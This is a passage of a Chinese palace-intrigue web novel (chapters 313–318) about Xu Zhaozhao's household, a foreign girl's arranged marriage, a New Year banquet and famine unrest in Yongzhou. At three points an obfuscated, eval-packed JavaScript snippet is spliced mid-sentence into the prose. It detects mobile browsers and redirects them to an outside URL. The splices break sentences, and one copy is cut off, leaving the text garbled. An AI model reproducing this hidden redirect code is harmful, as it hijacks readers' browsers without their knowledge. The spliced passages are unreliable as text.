许昭昭先净了手,之后再燃香,矮几上有一个小炭炉慢悠悠地烧着热水。 大冬天的,喝红茶暖身,只是许昭昭今日突发奇想,觉得喝上几口绿茶也不错。 这绿茶,还是先前宫里头赏下来的,是江南送至宫中的贡品。 整个护国公府,也就只她这里才有。 许昭昭只喝了一口,便觉得格外鲜爽。 哪怕这茶都已放置大半年了,但口感仍然特别好。 “世子可有消息送回来?” “回主子,没有。” “四房那里可消停?” “还真让主子给料准了,四夫人前几日就一直想要张罗这腊八粥的事,只是没想到没给她安排,听说昨晚四夫人还跟四爷闹腾了一场。今儿一早,就传出消息,说是四夫人病了。” “呵,真病假病?” “没让府医来瞧,但是让膳房那边给熬了些燕窝送过去。” “那就是没事了。”许昭昭对于这个小林氏还真有几分无语。 要说小林氏这人,也不算是多坏,但就是有时候脑子不够用,蠢了些。 小林氏是想要跟于氏争一争这管家权,可她也不想想,有什么好争的呢? 真要是说这管理中馈,没有人比许昭昭更有资格。 但许昭昭嫌麻烦,不乐意管,所以这才由着于氏继续管着家中琐事,这又不是什么好事,一天天地整个府里的吃喝拉撒都要过问,不嫌麻烦吗? 哪怕是如今的锦绣园,许昭昭也不可能亲自管,安排于嬷嬷和谢铮的乳母林嬷嬷来管着。 至于屋里头的事,自然是许昭昭身边的徐嬷嬷和几个大丫环才能进。 许昭昭实在是不能理解小林氏明知道自己身份不够,而且又没有那么聪明,还上赶着要管家,她是怕自己丢人丢得太少吗? “主子,莎娜姑娘在外求见。” 许昭昭顿时表情一滞。 这个莎娜,到现在还是不懂中原的一些规矩。 登门探望或者是聊天,也得提前递贴子呀。 “主子,这位姑娘到底是没学会咱们大兴的礼仪规矩,还是根本就是故意的?” 不怪别人多想,毕竟莎娜留在这里的日子也不短了,连登门要递拜贴这样的事都不懂吗? “罢了,她原本就是草原上的明珠,让她留在这处处勾心斗角的京城,已然是委屈她了,没必要再与她一般计较,将人请到楼下吧。” “是,主子。” 二楼是许昭昭自己的一方小天地,偶尔谢铮要来,也是要看许昭昭心情的。 许昭昭下楼,发现莎娜带着两个漂亮的小丫环,正在打量屋内摆设的几盆花卉。 “许昭昭,你来了!这是什么花?真好看!” 莎娜只看她一眼,便又将视线挪到了那几盆山茶花上。 徐嬷嬷脸色一肃:“莎娜小姐当称呼我家主子为世子夫人,或者是安乐县主。” 莎娜愣怔一瞬,随即改口:“安乐县主?” 许昭昭此时已经到了她的跟前:“无妨,坐吧。外面天寒地冻的,你怎么还想着出门了?” 反正许昭昭大冬天是不乐意出门的,太冷了。 就算是有马车也不行,感觉只要一出这屋子,到处都是凉风寒气,她才不会受这个罪。 “我听说你们京城有施粥的习俗,所以想去看看的。你要去吗?” 许昭昭摇头:“给平民百姓施粥,这有什么好看的?” “可是我从未见过。” “你们草原上就没有给普通的牧民们打赏东西的时候吗?” 莎娜歪头想了想:“有吧!但是那个不一样。” 许昭昭笑笑,没有再执着于这个话题。 “喜欢这盆山茶花?” 莎娜的脸上再次挂上笑容:“喜欢!” “那待会儿走时,让人给你搬一盆送到车上。” “真的吗?” “当然。” “可是我不会养花,万一养死了怎么办?” “我一会儿让人把这种花的养护事项都写下来,你带回去自己试试,若是不行,你再搬回来,我再救治一番。” 莎娜觉得可以。 她以前没种过花,草原上都是跟着一年四季,哪个季节有什么花,就看什么花,不像是大兴的这些贵人们,竟然还能在冬天养出这么艳丽的花朵来。 “许昭昭,呃,安乐县主,你们的皇帝陛下要给我赐婚了,你知道吗?” 第313章 我要过你这样的生活 原本不知道的,现在知道了。 “莎娜,慎言,那是我们的皇帝陛下,你的父亲和兄长,如今都是大兴的官员,你也同样是大兴的子民。” 莎娜吐吐舌头,还是不太习惯。 “哦,总之,就是他要给我赐婚,你有什么建议吗?” 许昭昭一脸好奇:“给你赐婚,我为何会有建议?” “可是陛下要把我许配给中原的男子,我跟他们不熟呀,我甚至都不认识他们。” 许昭昭挑眉:“陛下跟你说的?” 莎娜摇头:“是皇后。” “哦,那是不是带你看了几幅画像?” “对,有画像!我还带过来了,你帮我看看好不好?” 画像都是皇后给的,莎娜在宫里看过一遍,但也看不出什么来,最主要的是,她对于汉字认得并不全,上面虽然有写名字和年纪,但有的她实在是看不懂。 干脆一股脑,都给拿到许昭昭这里来了。 许昭昭随意翻了几幅。 嗯,还不错,皇后有脑子,给莎娜选的虽然都是勋贵之后,但基本上都是纨绔子弟,再不然就是其父兄长辈们没有一个在朝中担任要职的。 这就很好。 毕竟,非我族类,其心必异! 现在他们降了,那是因为谢铮和许君锋把他们打服了,可不是他们真心实意就想屈服的。 所以,不能给他们再起来的机会。 但是又不能让人说他们亏待了降臣家眷,所以,干脆弄个勋贵子弟,再合适不过。 许昭昭这一翻,竟然还翻到了宋将军家的孩子。 方大壮的小妾宋氏,便是出自这个宋将军府,画像上的人,是宋氏的侄子。 看模样倒是还行,但是许昭昭知道,宋家现在基本上是被排除到核心圈子之外了,甚至于一些小功劳,宋家人都捞不到。 说白了,就是不得圣心。 许昭昭又翻了几个,这其中有几位还是她曾经在祖母那里看到过的,当时祖母还想着把表妹陈湘湘许配给这些人呢。 啧,个个都是扶不起的阿斗。 但是家底厚儿,这就是最大的好处。 家里要么有爵位,要么就是皇亲,总之,只要不是让人设套蒙骗,吃喝不愁是肯定没问题的。 “莎娜姑娘,这些人我也不太熟悉,你为何不请你的兄长帮你打听一二?” “我兄长也托人打听了,但是我总觉得他没有你知道得多。” 这是什么直觉? 许昭昭心底一突,这姑娘的第六感好强呀! “在我们大兴,婚姻大事,父母之命,媒妁之言。你如今的婚事,是由陛下和皇后做主,自然是要多听听他们的意见。当然,如果有需要的话,我也可以帮你去打听一下。” “那你帮我打听好不好?” 许昭昭笑了一下:“好。不过,莎娜姑娘对于未来夫婿有什么要求吗?比如说你喜欢更文静一些的书生,还是喜欢勇武一些的将军?” “呃,我也不知道。我以前一直以为我要嫁人,就应该嫁像是谢铮那样的英雄,或者是像我兄长那样的雄壮的汉子。可是我到了京城之后,才发现男子也可以是那样白净的,而且他们说的话,很好听,虽然有时候我听不懂,但就是感觉他们好厉害的样子。” 许昭昭勾唇,这也是谜之上头了。 听不懂还觉得好? 小姑娘怕不是因为人家说的话好听,是单纯看脸了吧? “我可以帮你问问,但是不能保证能打听到多少。” “好。我跟其它人都不熟,麻烦你了。” 许昭昭笑了,这姑娘性子是真直爽。 两人又聊了一会儿,之后干脆就留下来一起用午膳。 许昭昭这里有单独的膳房,除了许昭昭自己的饭菜会由厨娘们来做之外,就是整个锦绣园的人吃饭也都是在这里。 也因此,于氏在后来干脆就直接把锦绣园里下人们的相关用度换成银钱,这样划过来之后,于氏反倒是更省心了。 比如说一个月锦绣园里下人们的月俸是二十贯钱,再加上他们的伙食大概是在两贯钱,再加上衣裳等等,总之,就是直接汇总一个数目,然后划过来,余下的事情,就和府上中馈没有关系了。 这样的治家方式,倒是许昭昭喜闻乐见的。 若是换了她掌家,也是这么个管理法。 省心呀。 不能事事都得亲力亲为,那得累成什么样儿? 而这些钱到了锦绣园,自然就被许昭昭安排人手给分化掉。 谁管着一年四季衣裳鞋子的,谁管着膳房米粮肉菜用度的,谁管着院子里草木花卉的,谁管着发月钱的等等,让她们各司其职,各管一项,手里头都有点儿小权利,也能让她们觉得日子有个奔头。 而许昭昭这个正经主子,那就是闲得在屋里躲懒就成了。 其实这对于于氏而言,其实没有多大变化。 因为之前锦绣园一直空着,就只有几个负责洒扫的粗使婆子,所以也不需要太上心。 再后来谢铮虽然回来了,但因为他是男子,不喜园中有太多年轻的丫环,所以这一项也就省了。 如今许昭昭嫁过来,这一切本就应该是由她来料理,所以于氏手上的权利其实没怎么变化,仍然是管着府上其它各处的琐事,唯独还是不管锦绣园。 许昭昭的做法,其实并不算是个例。 有些权贵人家,家中人口太多,也会做出这样的分割管理。 但是,并非是每个人都能如许昭昭这般有底气的。 所以,总会有一些性子软的妇人受到欺负,却不敢吱声。 莎娜在许昭昭这里又尝到了用茶叶做的菜和点心,只觉得格外神奇,最后走的时候,自然少不了要带一些。 莎娜觉得许昭昭这样的生活才叫惬意,她也想过这样的生活。 “昭昭姐姐,我找婆家,就要按你这样的标准找。等以后,我也要像你这样过日子。” 许昭昭低笑,这不是让人为难嘛! 能一样吗? “每个人都是独立的个体,每个人的生活自然也都不一样。你怎知日后就不会比我过得更好呢?” 莎娜眼睛里冒光:“是这样吗?还可以比你更好?” 第314章 曲皇后 许昭昭无意插手莎娜的婚事,说到底,她们之间也没有那么深的情谊。 但是如果可以,她还是愿意让莎娜过上相对简单的生活。 许昭昭找了个机会,便进宫请安了。 曲皇后看到她带过来的东西,脸上的笑就没有停下来过。 “安乐成了亲,果然是不一样了。” “臣妇就只当您这是一句夸赞了。不过臣妇往您这里送的这些好东西,您可千万别让乐阳郡主知道了,要不然,她定然又要去我那里耍赖。” “你既知道她的性子,那为何不为她多备一些?” “娘娘还不知道乐阳嘛,她向来大方,手里有了好东西,这个讨一些,那个哄两句,东西便没了。她就是个无底洞,多少好东西都留不住。” 曲皇后又笑了几声:“今日进宫只为了送这些东西?若是不着急回去,便留下来陪本宫用午膳吧。” “是,谢皇后恩典。” 许昭昭行完礼,又主动提到了莎娜。 这京中的一举一动,就不可能逃得过皇帝和皇后的眼睛。 所以,许昭昭干脆自己主动一些,也能落个好。 “莎娜姑娘前两日去了国公府,还带着画像,说是您给她准备的一些未来夫婿的人选。莎娜说汉字认不全,所以压根儿看不懂,便特意来寻我商量,只是我跟那些郎君们也不熟呀,甚至有的都未曾见过,所以也只好说是帮她打听打听。” 曲皇后闻言浅笑:“莎娜是个真爽的性子,本宫也很喜欢她。她想着去找你商量,可见是与你投缘。” “算是吧。她先前还喜欢三郎和我二哥呢,结果发现两人都对她无意,所以便早早收了心。这位草原姑娘倒是一个敢爱敢恨的性子,发现没有希望,这心收得也迅速。” 曲皇后见她在自己面前毫无隐瞒,对她就更满意了。 身为皇后,她自然还是很在意太子人选的。 最起码,现在许侯府和护国公府都是纯纯的保皇派,他们一心只站在皇帝的立场来做事,这便能得到皇后绝对的信任。 曲皇后愿意和许昭昭交好,就是因为她至少不是姜贵妃和忠王那一派的。 只要不是敌人,那就总还有拉拢过来的机会。 “是呀,这样的好姑娘,本宫也是想着要好好为她选一选。” “其它的倒是无所谓,只是我观这位莎娜姑娘心思单纯,而且向来喜欢直来直往。若真是将她许配到一关系复杂的人家,怕是会受委屈。” “言之有理,本宫还是要再为她好好挑一挑,她的父亲如今远在都护府,既然是一心为大兴做事,咱们也不能委屈了他的孩子。” “皇后娘娘贤德宽厚,莎娜会明白您的苦心的。” 一场对话,完美地让皇后避开了几家人口复杂的人家。 曲皇后明白许昭昭不愿意插手别人家的事,但是莎娜都求到她跟前了,她又不好推托不理会。 如今进宫将事情说明,皇后也意识到莎娜的父兄皆为大兴臣子,所以,还是要再慎重一些。 年关将至,谢铮这日休沐,特意命人备了年礼,陪许昭昭一起回安信侯府。 年礼是于氏给准备好的,谢铮又从自己的私库里取出来一套银器,这才一起登门。 许昭昭被王若兰拉着说话,不由自主便提到了谢家的两位姑娘。 “你的两位堂妹的婚事如今都已定下,一个嫁到方家,另一个嫁给付大,这都是顶好的婚事。只怕也正是因为有她们两人的婚事做比对,谢家那二位的心思会更大一些。” 许昭昭却不以为意。 “那都是谢家长辈要操心的事,与我何干?” 王若兰抬手戳她一下:“你这丫头,怎么还没明白我的意思?你是她们的长嫂,这婚事早晚都要让你来操持的!” “到时候再说呗,至少现在还没有找到我的头上,那我就假装什么也不知道。能清静几天是几天呗。” 多少有点儿得过且过的意思。 王若兰听她这么说吧,好像也没毛病,毕竟许婵和许娟二人的生母都在,而且谢啸林也即将返京,所以这事儿还真不一定需要许昭昭操太多心。 “年后你那位公爹就要回来了,还有那个小宋氏会跟着一起回来,我听说这位小宋氏可是个心眼儿多的,你一定要小心些。” 许昭昭却丝毫不把人放在眼里:“不过是一个小妾,何需我上心?” “那能一样吗?贾氏只是普通的妾室,但小宋氏可不一样,她与谢三郎的母亲可是族亲。” “那又如何?就算是亲姐妹,入府为妾了,那也只是个妾。再说,护国公府不是那等没有规矩的人家。老夫人还活着呢,小宋氏敢造次?” 王若兰一噎,这些日子以来,她总为了这些个琐事着急,就怕自己闺女再吃亏。 可怎么到她嘴里一说,好像全都不值一提? “话是这样说没错,可内宅里头,总会有一些见不得光的阴私手段。也怪我将你养得太好了,你父亲身边又没有其它女人,家里也没有庶出的兄弟姐妹,所以才将你养得单纯了些。昭昭,咱们不主动害人,但是也不能让别人暗地里使绊子。” “女儿明白,母亲就放心吧,我也不是泥捏的,若真有人犯到我头上来,我必然十倍百倍地还回去!” 王若兰听她这样说,心里才松懈一些。 女人狠起来,不比男人差。 今年是头一年的新女婿,按规矩,等年后谢铮再过来拜年的时候,安信侯府这边是要请许氏的族亲们都过来的。 王若兰叮嘱了许昭昭一番,年后过来拜年时,要多备上一些小东西,只为了给族里小辈们做彩头用。 “母亲,孙茜这次的性命是保住了,但是姑姑和姑父对于她日后的婚事是如何打算的?” “此事我也不知。前几日你姑姑带着孙茜来了一趟,说是你姑父打算把孙茜远嫁,而且原先的嫁妆也都让她带走,但是你姑姑不答应,想要求你祖母和你父亲为孙茜做主呢。” 第315章 妥了 这种事,谁愿意沾手呢? 孙茜的情况太复杂了。 如果只是脸上有疤,这反而是最好解决的。 现在的麻烦就在于她的名声不好。 刚刚被抄家了一个贾氏,哪家还愿意再跟孙茜搭上关系? 但是以孙茜的脾性,又不愿意嫁入寻常人家,一心只想过好日子。 可世上哪有这等的好事? 许昭昭也只当是不知,孙家的姑娘,爱怎么样怎么样吧。 这一次父亲和兄长并没有得到太大的恩赏,估计也是因为知道父亲从中透了消息给孙家,好在没有出大事,而且最开始的疑心也是父亲这里送上去的,若不然,只怕父亲还得被降罪。 许昭昭和谢铮在侯府一直到晚上才回去。 许昭昭其实是更想住进紫园的。 但是王若兰说不合适,等过完年,好歹就不算是新媳妇了,到时候可以再回来住一阵子。 谢铮又去当值,许昭昭又安排人准备了一份丰厚的年礼,亲自送去王家。 这次去外祖家,许昭昭和舅舅说了好一会儿话,总算是得到了几个好消息。 比如说,明年二月,蓝田县县令会被调至京城,而原县令的位置,则是已经定下来,由方有为暂代,若无意外,大概一年后就会成为正式的蓝田县县令。 方有为的出身还是没有问题的,这年头的举人还是相当有分量的。 只要方有为不出大错,许昭昭打算让方有为在蓝田县至少待上五年。 若是方有为此人是个知足常乐者,那让他多连任几年自然也是没问题的。 这原就是许昭昭当时许诺的事,如今成了,她自然是要奉上好处的。 别以为身处高位,就真的是什么事都能做主了。 大舅舅王长庚如今是工部左侍郎,也就是这等不起眼的小官,所以他才好找人运作。 若是那等好差事,比如说京缺,那就会棘手一些。 许昭昭一直不曾出面,一是因为她是女子,二来则是因为觉得没必要。 “舅舅,这两支百年山参您留着吧。先前说好的谢礼,我会另行安排人送过来。” 王长庚有些激动:“这百年山参可是难得,我留一支即可,另外一支,你还是带回去吧。” “不用。我那里还有。” “还有?”王长庚听完这话极为震惊,这样的好东西,他的外甥女竟然是成批进货吗? “真有。之前三郎在北地打仗时,我便嘱咐他帮忙留意着,所以回来的时候,他带了几支。舅舅放心,这山参就是特意给外祖父外祖母准备的。舅舅还年轻呢,用不上!” 这话分明就是在打趣他。 王长庚虚指她两下:“你这丫头!” 许昭昭得了准确消息,但还是想着问一句:“吏部的公文何时下来?” “应该会在年前下来,等过完年,再做个交接,便走马上任。” “大舅舅办事果然靠谱!” “怎么说话呢!” 两人又说了一些关于此次京中出事,他们这边能安排的空缺到底能有多少。 两人捋了一遍之后,才发现看似安插的不少,但实际上都是一些小官小吏,正儿八经的五品以上的官员,他们王、许两家能沾上的,也不过才三个。 所以说,还是实力不允许呀。 “如今这样才是刚刚好。不显山不露水,咱们先好好培养自己的势力。陛下那样的上位者,不可能看到全部,四品以上的官员,陛下必然是个个都能叫得上名姓来,但是五品甚至是再往下,陛下不一定能会去关注。” “此言有理。” 许昭昭这边不放心,离开王家后,又特意派人去吏部打探。 果然,吏部那边会有几日后下发公文,届时,方有为便能走马上任。 这机会还真就是留给有准备的人呢。 如果不是许昭昭先一步与蓝田县这边做了沟通,如今就算是方有为能上任,他也未必会念自己的好。 现在不一样了。 自己早有暗示,再加上也的确是因为她,几人才能在御前挂名,所以,他们势必感激自己。 这种人情,许昭昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308938|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是从来不嫌多的。 哪怕是日后只能用一次,那兴许就能是救命的机会。 真正的示弱和明哲保身,绝对不是真地就什么也不做,什么势力也没有。 真要是脑残地以为自己将所有一切都交换给上位者,以此来换取上位者的信任亦或者是活下去的机会,那才是蠢到家了! 藏拙和真的毫无反击之力,那是两个完全不同的概念! 许昭昭向来喜欢想得长远一些,毕竟,谁能保证现在的圣上贤明,十年后仍然贤明呢? 更不能保证,当今圣上是非分明,而下一任的帝王也如此呢? 所以,早做准备,总比干等着人家上门**抄家要强。 这一波,稳了。 许昭昭现在能藏得这么深,不是因为她的计划有多周密,行事有多谨慎,而是因为她是女子。 这世道,对于女子的轻视,着实令人不高兴呀。 许昭昭也就是生在侯府了,她若是出生在皇家,高低也得弄个皇太女来当当。 回到护国公府,许昭昭又开始缩在自己锦绣园里不出门了。 自打许昭昭弄出那个壁炉来之后,这京城不少勋贵也都跟着学。 许昭昭干脆就让百果园以及云栖山庄那边都开始盘炕、造火墙,如此一来,冬天屋里头暖和了,这每年冻死的百姓自然也就大大减少。 当然,关于这火炕火墙,许昭昭可是没想着沾手,直接给了大舅舅和大表哥,让他们父子俩在御前得了不少夸赞。 毕竟,这东西是实打实的能取暖,而且普通老百姓家,也不需要耗费太多银钱,就能度日。 其实许昭昭也没想到,她只是顺嘴一提,**远竟然就和匠人一起弄出来了那种既能做饭,又做烧炕的灶子,还真的是不能小看任何一个人呀。 这份功劳,自然也就更稳地落到了**远身上。 比起壁炉,好多人家都喜欢用火墙,因为这个更实用一些。 许昭昭现在看着这些杂记,脑子里则是在想着过年的时候,她那位便宜公爹是不是能赶得回来呢? 第316章 除夕 年节前,宫中会举办盛大的宴会,许昭昭以往是未出阁的姑娘,可出席,亦可不出席。 但是如今她是安乐县主,更是护国公府的世子夫人。 因为国公夫人早逝,老夫人没有精力再去宫中赴宴,所以,许昭昭就是护国公府的不二人选。 看似风光无限的护国公府,一众女眷之中,除了许昭昭之外,竟然只有老夫人和于氏才有这个资格入宫赴宴。 至于小林氏,她夫君的官职低微,再则,小林氏身上没有诰封,所以看似是官夫人,实际与普通民妇并无太大差别。 别人是挤破头都想去参加宫宴,好长长见识,而许昭昭则正好相反。 宫宴有什么好的? 吃的未必真能入口,关键是这种场合,哪能就真的只是吃东西? 好在如今的许昭昭身份不低,所以参加宫宴,座位也是相当靠前的,总比坐在殿门口附近要好很多。 但是许昭昭真心觉得还不如安排到后面,这样没人能看到她,她无论是吃东西还是走个神儿,都无所谓。 宫宴被上位者精心塑造成为了一个充满欢乐与祥和的场景,洋溢着浓厚的节日氛围。精致的餐具、华丽的服饰和璀璨的灯火交相辉映,营造出一种梦幻般的美感。 对于一些涉世未深的少男少女们而言,能参加宫宴,就是一种荣幸,因为这意味着他们可以和大兴朝最高贵的帝后一起举杯共庆。 可是对于许昭昭这等看透一切的明白人而言,宫宴,不过就是上位者拉拢朝臣的一种手段罢了。 于外邦而言,这就是一种**,也是一种震慑! 所以,宫宴是必须要有的。 不仅要办,而且还要办得盛大,办得让人毕生难忘。 这很重要。 因为很多的官员,可能一辈子就只有一次参加宫宴的机会,甚至于,有的臣子可能一辈子也没有一次这样的机会。 所以,这对于臣子而言,何等重要。 许昭昭是穿着世子夫人的服饰入宫的。 今年的宫宴,许昭昭毫无疑问是要做出一点贡献的。 但是今年陛下高兴,而且陛下也是眼瞅着荷包鼓起来了,所以大手一挥,宴会上需要的酒水,除了光禄寺这边的正常供应之外,自然也要从百果园购入大量的好酒好茶。 陛下高兴了,这银钱自然就不会少给。 而且为了突显出陛下的大方和仁慈,还会多给出一些赏银。 这才是大气! 许昭昭和于氏一起入宫,但是到了宫门口之后,是要排队按品级入宫。 如此一来,许昭昭和于氏便分开了。 倒是很快在宫中先和王若兰和遇上了。 许昭昭的二嫂安和县主是正经的皇族,宫宴上的位置,按说是应该比许昭昭要靠前的。 但是按夫家身份论,安和县主便差了一些,所以她的位置在张氏之后,而张氏,又在许昭昭之后。 许昭昭落座后,其实还是有几分不适应。 以前有母亲护着她,她可以不用太上心。 可是如今,她已然是以代表护国公府的身份来参加宫宴了,便不可再大意,时时处处都要小心,免得再被人拿了把柄,给护国公府脸上抹黑。 整个宫宴中,欢声笑语不断,乐师们演奏着悠扬的乐曲,舞者们翩翩起舞,为宾客们带来了一场视听盛宴。 宴席上摆满了各种珍馐佳肴,香气扑鼻,令人垂涎欲滴。 对于许昭昭而言,每种多吃两口,好像就会有人笑话一样。 整个宫宴现场洋溢着一种温暖而和谐的气息,并没有许昭昭所以为的各种抓马情节,倒是不错。 宫宴结束之后,便是各府邸开始准备过年了。 大兴朝的帝王勤勉,所以臣子们也都相对卖力。 腊月二十九,各府衙才陆续开始封印,而且正月初七,便会陆续有官员开始重返公廨办差。 听闻地方上有都是规定的,外任的官员,在任期间,无论是何时,都不得擅离职守。 也就是说,无论是过年,还是你的父母过寿,都得在任上值守。 除非是有圣旨,否则一旦离开所任之处,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许昭昭也从谢铮的怀里嘤咛一声,想要翻身,却发现自己的腰被人紧紧扣住,压根儿动弹不得。 “要起身了,今日是新春元日,要去给老夫人请安,还要给各院发赏钱的。” 谢铮却是眼睛都不带睁的,直接将人再往自己怀里搂一搂,大手同时又覆上了怀中美人的娇嫰身躯,帐内一片春光。 第317章 永州 元日,其实就是大年初一。 这一年,新年伊始,所有人见面就是吉祥话,没有人会上赶着说一些晦气语。 小林氏在看到许昭昭和谢铮二人姗姗来迟后,也只是不满地翻个白眼儿,很有眼力见儿地没有阴阳怪气。 午膳自然是要一家人一起用的。 因为晚上谢铮要当值,所以谢铮的晚膳就会在锦绣园里单独用,而且会比其它人用晚膳要早上两刻钟。 这是因为他有差事,所以没有人会不满。 而且初一中午一起用了团圆饭,晚上自然也就没有这个必要了。 既然是团圆饭,谢家的各房也都过来了。 比如说三房五房,原本分出去单过的两房,也都携家眷过来请安拜年。 许昭昭其实是很累的,上午勉强打起精神与他们一起说说话,用过午膳后,便被谢铮给拽走了。 在别人看来,许昭昭是被谢铮强行带走的。 可是实际上,只有他们夫妻二人知道,是许昭昭太困了,想回去补个觉。 两人这回是正儿八经地一起补觉,没有再胡闹,毕竟谢铮晚上还要当值呢。 两人睡了一个多时辰才醒过来,谢铮到院子里打了套拳,整个人也精神很多。 许昭昭则是裹着被子,不乐意穿厚重的衣裳,也不乐意出门。 最终,还是被谢铮从被窝里给捞出来,带她一起在园子里走走,若不然,晚膳她就不饿了。 结果,没等晚膳摆出来呢,就有宫人急匆匆地到了国公府,然后点名要见谢铮。 许昭昭察觉到有事,立马又让人去备了些点心,一会儿直接给谢铮带走。 “何事如此匆忙?” “禀中郎将,宫中皇上急召您入宫,下官还要去通知其它人,不敢多留,下官告退。” 急召? 谢铮拧眉,一转身,正好看到许昭昭过来了。 “我要赶紧入宫,陛下急召,兴许是边关出事了。” 许昭昭也有所怀疑,立马帮他更衣,同时,还不忘给他怀里塞了两瓶药。 “以防万一。” 谢铮点头,走之前,还在她唇上轻啄一口。 大年初一,除非是万分紧急之事,若不然,陛下不会一下子传召诸多大臣入宫。 所以,不是边关异动,便是大兴的某一处地方,有人反了。 许昭昭的心思急动,想要快速地做出分析,以便之后的安排。 “紫苏,你即刻去一趟侯府,看看我父亲和二哥是否也被急召入宫了,另外若是可以,便问一问我母亲是否知道出了何事。” “是,少夫人。” 宫中突然来人,这件事自然也是瞒不过老夫人的。 许昭昭刚把这些安排好,老夫人便派人来请她了。 许昭昭还没有等到紫苏的消息,但是眼下也不能不理会老夫人,只能先过去安安他们的心。 等许昭昭到了老夫人院中时才发现,几位叔父竟然也都在。 谢啸威几人一看到她过来了,自然都眼含希望,显然都不知道到底出了何事。 “祖母暂且安心,眼下还不知道是否是边关出事,我已派人回侯府去打听,若是有消息,定然第一时间来禀告祖母。” 老夫人叹气:“今日是元日,若无紧急事件,圣上不会如此心切。我只是担心,若是冀州。” 后面的话没说,但是在座之人都明白她的意思。 这是担心万一冀州出事,那谢啸林就有可能面临危险。 许昭昭想到年前自己收到的相关消息,心中已经有了七成把握。 “应该不是冀州出事了。我现在倒是更担心有暴民作乱。” 谢啸成和谢啸威二人相视一眼:“侄媳何出此言?” 许昭昭面带愁容:“月余前,我的蓝田县封地那里接收了十余户灾民,说是从永州而来。我当时还十分诧异,永州距此可谓是千里之遥,据严叔所言,当时这一行人都衣着破烂,形同乞丐,他们坦言是因为在永州活不下去了,这才一路往北。” 谢啸威的眼珠子一转:“永州都督乃是忠王,由其遥领,永州乃是中州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311019|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如今主事的应该是中州别驾李扬。” “若果真是永州出现大灾,那为何一直未曾见上报?” 众人面面相觑,却是谁也不敢再多说一个字。 有些话,心中明了,真不能说出来。 许昭昭眯眼:“据我所知,永州别驾李扬的庶女为忠王府的一名媵侍,去岁好像是抬为了孺人。” 永州只是一个中州,一个中州别驾,且远离京都,这官职实在是不算高,且地方上除了别驾之外,还有司马、长史等官员互相制衡,所以,这个李杨在忠王眼里,的确不算是什么大助力。 但是,忠王遥领永州府都督,那么,李扬就等于是忠王在永州的代言人。 所以,永州出事了,忠王的责任定然是跑不了的。 这次,就要看陛下的态度以及忠王的反应速度了。 许昭昭依稀记得书中并没有发生这么大的变故,极有可能就是因为邓氏的落败,直接导致了这一系列的后果。 因为永州发生重灾时,邓氏与姜氏全力协助,再加上原著中姜宁还曾助忠王得了一大批的财宝以及一座铁矿,所以,当时的忠王手上是很富裕的。 但是现在不一样了。 姜宁算计的那座矿成了朝廷的,那些财宝也都没了,而邓氏被许昭昭一网打尽,姜氏又接连出事,所以,哪里还有心思去管忠王的事? 这就是蝴蝶效应了。 许昭昭并没有觉得这是自己的错。 因为在原书中曾经写过一句话,那就是多年后的忠王回忆起永州曾经出现水灾,而当时多亏了有姜宁的帮助,所以他们才有了大批的武器和人手,将那些暴民给**下去,从而未曾经动朝廷,便将一场祸事直接扼杀在了摇篮里。 所以,原书中就算是忠王得到了那些钱财,他也从来没有想过要帮助那些灾民度过难关,而是一心想着发展自己的势力,而且是悄无声息地将那些暴民都杀了,以免惊动朝廷,再被陛下责罚。 这一次,没有了钱财以及铁矿的支撑,所以,事情压不住,已经上达天听了。 第318章 反应迅速 许昭昭觉得自己猜对了,这会儿宫里头只怕是人人自危。 有暴民作乱,陛下自然是需要调兵**的,而永州的府兵,竟然连一些暴民都打不过,永安帝怎么可能会不生气? 许昭昭的确是没猜错,此时的太极殿内,气氛紧张得吓人。 永安帝今天早上一醒来,还没来得及和自己的儿女们一起用早膳,就先收到了这样一份奏报。 看完之后,永安帝当时就觉得眼有些花。 永州去年发生水患,关键是这是半年前的事,但是朝廷却一无所知! 不仅如此,他的那个好儿子,遥领永州府都督之职的忠王李睿竟然半点消息也不知晓,这个废物! 永安帝的几位心腹大臣都已经被叫进宫来,如今正在商议如何解决永州**。 大年初一,这样的消息送入宫中,也不知道是哪位苦命的太监给送至御前的,这太要命了。 “陛下,这折子是永州司马命人送进京来的,而且看折子上所言,他先后曾向李扬提议数次请求朝廷派兵支援,但一直被拒。而且他曾几次想要给京中递折子都被人拦下,无奈,这次才借着送家书之名往京中递了折子。所以目前来看,永州府衙只怕是已经乱成一锅粥。” 曲世绩说完,再看向几位武将:“陛下,当务之急,还是要快速调兵,离永州近的几处,应尽快支援,朝中也应派出大将前往震慑。” 顾东阳点头:“陛下,户部这边可以尽快筹措粮草药物,但是时间原因,就算是再快,抵达永州至少也要一个月才行。” 许翰想到了先前女儿跟他提过的就近调兵一事,觉得眼下无论是调兵还是调粮,都应该是遵循这个原则才行,要不然,等京中的粮食运过去,那些百姓早就都饿**。 不过,他不急,一个眼色过去,许君安会意。 “陛下,微臣以为粮食和兵马都应就近调用,至于户部这边筹措的银粮,也应加快速度发往永州,但是京近调用,可解燃眉之急。” 永安帝微微点头,此时的火气消了些,不再那么生气了。 虽然有一个蠢儿子,但好在是有这么多的能臣辅佐,否则,他真是恨不能活劈了李睿这个逆子! 